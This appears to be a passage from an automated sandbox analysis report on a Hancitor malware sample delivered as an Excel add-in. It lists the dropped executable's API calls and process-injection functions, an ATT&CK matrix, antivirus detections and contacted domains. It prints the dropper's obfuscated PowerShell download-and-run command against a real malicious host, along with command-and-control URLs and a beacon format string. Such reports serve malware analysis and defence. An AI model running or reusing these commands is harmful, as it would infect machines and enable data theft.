Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062B4CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062B95F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00636D21 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00613860 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,VirtualAlloc,CreateThread,CloseHandle,

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle c:\Users\Public\snd32sys.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\snd32sys.exe 'C:\Users\Public\snd32sys.exe'

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'

Source: snd32sys.exe, 00000010.00000002.490796667.0000000001A10000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: snd32sys.exe, 00000010.00000002.490796667.0000000001A10000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: snd32sys.exe, 00000010.00000002.490796667.0000000001A10000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: snd32sys.exe, 00000010.00000002.490796667.0000000001A10000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_0062BBFB cpuid

Source: C:\Users\Public\snd32sys.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\Public\snd32sys.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\Public\snd32sys.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\Public\snd32sys.exe	Code function: ___crtGetLocaleInfoEx,
Source: C:\Users\Public\snd32sys.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetLocaleInfoW,
Source: C:\Users\Public\snd32sys.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Users\Public\snd32sys.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetLocaleInfoW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetLocaleInfoW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,
Source: C:\Users\Public\snd32sys.exe	Code function: GetLocaleInfoW,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\Public\snd32sys.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_0062B84D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00657096 _free,_free,_free,GetTimeZoneInformation,_free,

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00611A80 GetVersion,wsprintfA,wsprintfA,

Remote Access Functionality:

Yara detected Hancitor

Show sources

Source: Yara match	File source: 16.3.snd32sys.exe.12f4305.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.snd32sys.exe.12f4305.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.snd32sys.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.486399700.0000000000614000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.437644933.00000000012F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: snd32sys.exe PID: 2160, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	OS Credential Dumping	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Data Obfuscation1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Boot or Logon Initialization Scripts	Process Injection112	Obfuscated Files or Information2	LSASS Memory	File and Directory Discovery2	Remote Desktop Protocol	Email Collection1	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Logon Script (Windows)	Software Packing11	Security Account Manager	System Information Discovery36	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Encrypted Channel2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	PowerShell1	Logon Script (Mac)	Logon Script (Mac)	Masquerading111	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion21	LSA Secrets	Security Software Discovery21	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol123	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection112	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Virtualization/Sandbox Evasion21	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Network Configuration Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0708_5355150121.xll	24%	Virustotal		Browse
0708_5355150121.xll	17%	ReversingLabs	Win32.Trojan.Babar

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
16.2.snd32sys.exe.610000.0.unpack	100%	Avira	TR/Dropper.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	Avira URL Cloud	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	Avira URL Cloud	safe
http://srand04rf.ru/08	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	Avira URL Cloud	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
http://thentabecon.ru/8/forum.php	0%	Avira URL Cloud	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
http://anspossthrly.ru/8/forum.php	0%	Avira URL Cloud	safe
http://srand04rf.ru	0%	Avira URL Cloud	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png8	0%	Avira URL Cloud	safe
http://srand04rf.ru/08.jpg	0%	Avira URL Cloud	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
elb097307-934924932.us-east-1.elb.amazonaws.com	23.21.173.155	true	false	high
srand04rf.ru	8.211.241.0	true	true	unknown
sudepallon.com	77.222.42.67	true	true	unknown
api.ipify.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	false		high
http://thentabecon.ru/8/forum.php	true	Avira URL Cloud: safe	unknown
http://anspossthrly.ru/8/forum.php	true	Avira URL Cloud: safe	unknown
http://srand04rf.ru/08.jpg	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://login.microsoftonline.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://shell.suite.office.com:1443	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0708_5355150121.xll	true	Avira URL Cloud: safe	unknown
https://autodiscover-s.outlook.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://cdn.entity.	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://powerlift.acompli.net	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://cortana.ai	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://api.aadrm.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	Avira URL Cloud: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://api.microsoftstream.com/api/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://cr.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.350802485.0000000005BA1000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	false		high
http://srand04rf.ru/08	powershell.exe, 00000006.00000002.333971406.0000000004CF7000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://portal.office.com/account/?ref=ClientMeControl	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.348512770.0000000004B41000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.331698788.00000000048E1000.00000004.00000001.sdmp	false		high
https://graph.ppe.windows.net	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://tasks.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
